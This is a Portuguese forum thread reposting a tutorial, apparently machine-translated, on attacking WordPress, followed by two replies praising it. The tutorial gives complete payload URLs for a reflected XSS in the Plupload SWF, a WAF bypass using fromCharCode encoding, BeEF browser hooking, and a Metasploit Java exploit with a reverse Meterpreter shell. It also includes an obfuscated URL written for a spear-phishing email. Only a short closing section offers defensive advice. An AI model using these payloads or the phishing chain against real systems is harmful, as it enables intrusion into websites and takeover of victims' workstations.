Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box

    WordPress é de longe o sistema de gerenciamento de conteúdo mais popular (CMS) no mundo de hoje. De acordo com a W3 Techs ", WordPress é usado por 58,2% de todos os sites cujo conteúdo gestão do sistema que conhecemos. Isso é 18,6% de todos os sites. "Tal como acontece com a maioria, CMSs populares modernos, o aplicativo WordPress em si é endurecido e garantir out of the box. Mas, para obter todas as 'coisas' cool para tornar seu site memorável e envolvente, os proprietários do site WordPress usam frequentemente 10-20 plugins para cada instalação. Em julho de 2013, WordPress.org lista 25.700 plugins com mais de 475 milhões de downloads, e isso não inclui aqueles que estão fora do repositório do WordPress. São esses plugins de terceiros que deixam um quadro apertado vulneráveis à exploração e tentativas de hackear WordPress comum. Muitos plugins instalados permanecem sem correção ou esquecido, e mesmo aqueles que não fossem ativados através do WordPress Painel de proporcionar uma superfície excelente ataque. Com planos de hospedagem compartilhada e centros de dados empresariais consolidados, é mais frequentemente do que não que sua instância do WordPress não é a única aplicação web que residem em seu servidor.

    Por uma questão de brevidade, não vou "bater um cavalo morto" e falar sobre o porquê de Cross-Site Scripting (XSS) é perigoso. Há ainda uma certa confusão em torno XSS e seu papel na violações de rede, como ela é usada, e como ele pode ser utilizado mais e mais para fazer a mesma coisa. Um atacante não pode aproveitar uma falha de XSS diretamente "hack" em um servidor. Em vez disso, por vulnerabilidades de encadeamento e socialmente o pessoal de engenharia, um atacante pode passar de XSS para um compromisso interno com bastante rapidez. Este tutorial mostra como WordPress cortar com uma simples falha de XSS pode ser trabalhada em um veículo para invadir redes internas.

    Introdução ao Hacking WordPress


    Vendo como este artigo está sendo publicado pela Rede Hacker Ético, toda a atenção é a forma como se poderia ser atacada, a fim de, eventualmente, mitigar esses riscos. Como acontece com qualquer ataque real ou teste de penetração legítimo, o primeiro passo é reconhecimento. Assumindo que o atacante já voltou suas atenções para a sua organização ou a terceira equipe de segurança do partido foi contratado, o primeiro passo é detectar a instalação do WordPress. Você pode tentar acessar as pastas do núcleo do WordPress, incluindo-os no caminho de URI do host que você está testando contra:

    Código:
    http://[webhost]/wp-admin/
    http://[webhost]/wp-includes/
    Além disso, o arquivo "robots.txt" pode ser uma mina de ouro de informações. Na Figura 1, os directórios WordPress foram explicitamente impedido de indexação do motor de busca, o que indica a presença do quadro WordPress e sua localização.



    Em certos casos o quadro WordPress foi instalado em sub-diretórios de raiz. O motor de busca Google faz um excelente trabalho em "spider" através de um site e indexação de arquivos e diretórios ocultos. Antes de força bruta de um servidor web com ferramentas como DirBuster que procura por arquivos e diretórios ocultos, vire à Google para ver se o trabalho já foi feito para você.

    O motor de busca Google, muitas vezes índices arquivos principais do WordPress. Se a pesquisa estiver concluída através do Google com o 'site: <target site> inurl :/ wp-includes / inurl: Plupload "contra um site específico, você pode determinar se os arquivos do WordPress centrais estão presentes. Na Figura 2, você pode ver que o Google indexou um arquivo Shockwave Flash (plupload.flash.swf) dentro do "/ wp-includes /" diretório do exemplo de acolhimento encontrada pelo Google.



    [COLOR="rgb(46, 139, 87)"]
    Testando os nossos resultados iniciais
    [/COLOR]

    Dentro de um ambiente de laboratório, o quadro WordPress e plugins foram instalados para simular o hospedeiro vivo acima. O plugin intitulado "Plupload 'permite fazer o upload de arquivos para o servidor web no qual o site está hospedado. Ao clicar através do seguinte link na Figura 3, uma página Shockwave Flash em branco é exibida:

    Código:
    http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=
    Ao clicar em qualquer lugar no espaço em branco fornecido pelo plugin, você será fornecido com a caixa de explorador de arquivos padrão, onde você pode selecionar um arquivo para upload. Na maioria dos casos, o diretório de upload é armazenada fora do webroot e não está acessível. No entanto, vale a pena verificar a sua presença.
    Dando uma olhada mais de perto a cadeia URI ‘plupload/plupload.flash.swf?id=’, este URL é um ótimo lugar para testar os parâmetros de injeção de XSS. A seqüência na Figura 4 provou a trabalhar contra este conjunto de destino:

    Código:
    http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(c){alert(1);}//
    O navegador reflecte a cadeia XSS injecção sob a forma de uma caixa de alerta apresentada na Figura 5:



    Vou quebrar a seqüência de injeção, para a próxima fase de ataque é mais simples de construir. Em primeiro lugar, os personagens iniciais ‘\”));’ estão fugindo da cadeia XSS diretamente de uma função JavaScript. Normalmente, a entrada é refletida de volta para o código HTML, como no âmbito do ‘value=””’ parâmetro. Romper com algo como isso seria simples. No entanto, neste caso, a saída reflectida é preso no JavaScript. A função atual foi escapou usando ‘\”));’ seguido de uma nova função de ‘catch(c){alert(1);}//’. O navegador lê esse código e executa a caixa de alerta.

    Por que não foi possível usar os caracteres ‘<’ or ‘>’, ou marcar o clássico ‘<script>’? Neste caso particular, o primeiro grande desafio é apresentado. O cliente tem um Web Application Firewall (WAF) no lugar. O WAF é filtrar a entrada de caracteres particulares, especificamente ‘<’ and ‘>’, que impede o uso de todo marcação HTML.

    [COLOR="rgb(46, 139, 87)"]
    manobras evasivas
    [/COLOR]

    Seguindo em frente, é entendido que um ponto de injeção XSS refletido válida, e uma caixa de alerta pode ser executado com sucesso via JavaScript dentro do navegador. No entanto, uma simples caixa de alerta não é muito de um ataque. O código HTML mal ainda precisa ser injetado. Como pode esta falha ser levado para o próximo nível?

    O método alternativo de injetar código HTML é codificá-lo com a função JavaScript ‘CharCodeAt()’. Um exemplo visual de como isso funciona pode ser encontrado na página ‘Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...’. Isto irá permitir a marcação de copiar codificado para ser injectado, por sua vez, contornando o WAF. O JavaScript então será refletida de volta para o navegador e, aplicando a função ‘FromCharCode()’, vai ser decodificado, finalmente, ser lido como texto sem formatação HTML. Baseando-se na seqüência de XSS originais, substitua a palavra-chave 'alerta' com ‘document.write’, como mostrado:

    Código:
    ‘\”));}catch(e){document.write
    Em seguida, adicionar ‘(String.fromCharCode’:

    Código:
    (String.fromCharCode
    Use a função ‘charCodeAt()’ para codificar o HTML:

    Código:
    <html><body><script>alert(“XSS”)</script></body></html>
    O código HTML a seqüência se torna:

    Código:
    60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62
    Por fim, junte todos os itens acima para produzir uma URL injeção XSS reflexivo, e enviá-lo para o servidor web:

    Código:
    http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//
    A string injectada XSS é reflectida de novo sob a forma de uma caixa de alerta a exibição de "XSS" como mostrado na Figura:



    Outra caixa de alerta? Sim. O que foi perdido, porém, é que, empregando a função JavaScript "document.write", temos completamente quebrado para fora do atual arquivo Shockwave Flash 'plupload.flash.swf' e ter escrito para uma nova página. Além disso, o WAF tem sido contornado através do uso de codificação resultando em uma tela em branco para trabalhar a mágica pirataria.

    Tempo para uma pouco de proteina

    Agora é hora de transformar uma instalação local do Browser Exploitation Framework (BeEF), conforme mostrado na Figura:



    Com a alteração da URL injeção XSS reflexivo atual para incluir um 'iframe', uma referência é criada a instância de BeEF local. Agora, o novo código de HTML pode ser trabalhada, que inclui o "iFrame ', como mostrado:

    Código:
    <html><body><iframe src=”http://127.0.0.1:3000/demos/basic.html”></iframe></body></html>
    Mais uma vez, a função ‘charCodeAt()’ é utilizada para codificar o código HTML, como mostrado:

    Código:
    60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62
    Agora, todo o código pode ser juntado para produzir base reflexiva URL injeção XSS um 'iframe'. Esta seqüência pode ser enviada para o servidor web pronto para ir, como mostrado:

    Código:
    http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//
    O navegador agora é apresentado com uma nova página que contém o BeEF "iFrame", que aponta de volta para a instância em execução local do corte. O navegador tem agora sido enganchado e vulnerável às várias explorações contidos dentro do painel de controle do BeEF, como mostrado:



    As etapas finais seria fazer quaisquer modificações ou de adaptação do código, para alinhar com as especificidades do nosso alvo eo objetivo que queremos alcançar. A spear phishing e-mail seria trabalhada, que continha a URL injeção XSS reflexivo. A ligação pode ser ofuscado, ou pode ser enviada em formato completo. O método ofuscado tem uma maior chance de ser clicado por uma vítima. O efeito colateral é que os filtros de spam configurados corretamente devem bloquear ou tira um e-mail com links ofuscado.

    Lembre-se, este ataque usa próprio domínio do alvo e aplicação web para refletir um ataque de volta para eles. Isto auxilia no aspecto do ataque de engenharia social. A melhor maneira de conseguir isso é através do uso de e-mail.

    The Game Shell

    Embora um navegador viciado BeEF pode dar controle seletivo de um atacante e foi útil para demonstrar a eficácia do ataque, ganhando um shell através dele pode vir a ser problemático. O Metasploit Framework seria mais adequado para o avanço deste ataque.

    Um ouvinte será criado dentro do console Metasploit e vai alavancar o exploit 'java_jre17_jmxbean_2' e uma transmissão reversa Control Protocol (TCP), o sistema operacional (SO) Windows Meterpreter carga, conforme mostrado na Figura 17. Tanto o ouvinte e manipulador reversa vai usar a porta 8080 e 4444, respectivamente.



    As opções são definidas como ouvinte:



    O ouvinte e são ambos manipulador reversa iniciada como mostrado na Figura. Observe a URL e URI cadeia gerada automaticamente pelo ouvinte. Estes dados serão utilizados em refatoração o código HTML contido na URL injecção XSS reflexivo.



    Reconstruir a atual seqüência de código HTML XSS com fonte do novo "iFrame", que agora terá uma referência de volta para o ouvinte Metasploit mostrado:

    Código:
    <html><body><iframe src=”http://10.0.0.2:8080/rPJGQW1Mp9″></iframe></body></html>
    Mais uma vez, a função ‘charCodeAt()’ é utilizada para codificar o código HTML, como mostrado:

    Código:
    60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62
    E o acima são unidos produzir um reflexo URL injeção XSS "weaponized":

    Código:
    http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//
    Codificação de URL é feito para ocultar ainda mais a corda, como mostrado:

    Código:
    http://[webhost]/wp-includes/js/plupload/plupload.flash.swf%3Fid%3D%5C%22%29%29%3B%7Dcatch%28e%29%7Bdocument.write%28String.fromCharCode%2860%2C104%2C116%2C109%2C108%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C49%2C48%2C46%2C48%2C46%2C48%2C46%2C50%2C58%2C56%2C48%2C56%2C48%2C47%2C114%2C80%2C74%2C71%2C81%2C87%2C49%2C77%2C112%2C57%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C104%2C116%2C109%2C108%2C62%29%29%3B%7D//
    Este URL "arma biológica" está ligado a um Spear Phishing e-mail e enviado para a vítima. Um usuário que observa um link que aponta de volta para seu próprio domínio, muitas vezes, sente que ele é seguro para clicar. A string é injetado na aplicação e refletida de volta para o navegador, decodificado, e escrito para uma nova página. O "iFrame" é solicitado ao ouvinte Metasploit (Figura 24), a carga é executado com sucesso no sistema da vítima e uma sessão Meterpreter é aberto.



    Este ataque em última análise, ganha acesso a shell para estação de trabalho o da vítima conforme mostrado na Figura:



    O ambiente de trabalho no acolhimento da vítima na Figura 26 foi agarrado pelo Meterpreter injetado:



    Feito com WordPress Hacking ... E agora?

    Neste artigo, nós não temos apenas provado que o WordPress hacker através de um plugin de terceiros usando XSS pode ser feito, mas as técnicas também pode ser usado para contornar dispositivos de segurança de rede comuns. No final, fizemos o que parecia ser um pouco inocente instalação de um CMS para o controle total de um sistema interno. Mas o que isso nos ensina?

    Do ponto de vista empresarial, há várias lições a serem aprendidas:

    Sempre estar ciente do que está em seus servidores. Empregados com a melhor das intenções pode inadvertidamente permitir o acesso aos seus sistemas mais sensíveis e os dados que eles contêm.

    Assim como ocorre com sistemas operacionais como Windows, OSX e Android, geralmente não é dos próprios sistemas que são hackeados, mas os programas adicionais instalados neles. Usar apenas o que é necessário e mantê-los sempre up-to-date.

    Teste, teste e teste novamente. Só porque um plugin funciona e parece ser de uma fonte respeitável, não garantir a qualidade ou a segurança do código. Mesmo se você tiver a capacidade interna para testar (e absolutamente se você não faz), contratar um testador de penetração de aplicações web profissional. Toda a sua empresa está em jogo.
    Do ponto de vista pessoal, as lições são as mesmas, embora a escala pode não ser. Mas sempre tenha em mente que se você não tomar as devidas precauções, o passatempo nunca vai se tornar o seu emprego dos sonhos, e sua pequena empresa nunca vai se tornar um grande problema.

  • Font Size
    #2
    Belo Tópico, bem explicado e de fácil aprendizado para todos.
    Yes, I am a criminal. My crime is that of curiosity. My crime is
    that of judging people by what they say and think, not what they look like.
    My crime is that of outsmarting you, something that you will never forgive me
    for.

    I am a hacker, and this is my manifesto. You may stop this individual,
    but you can't stop us all... after all, we're all alike.

    Comment


    • Font Size
      #3
      Belo post está bem explicado e organizado.

      Comment

      X
      Working...
      X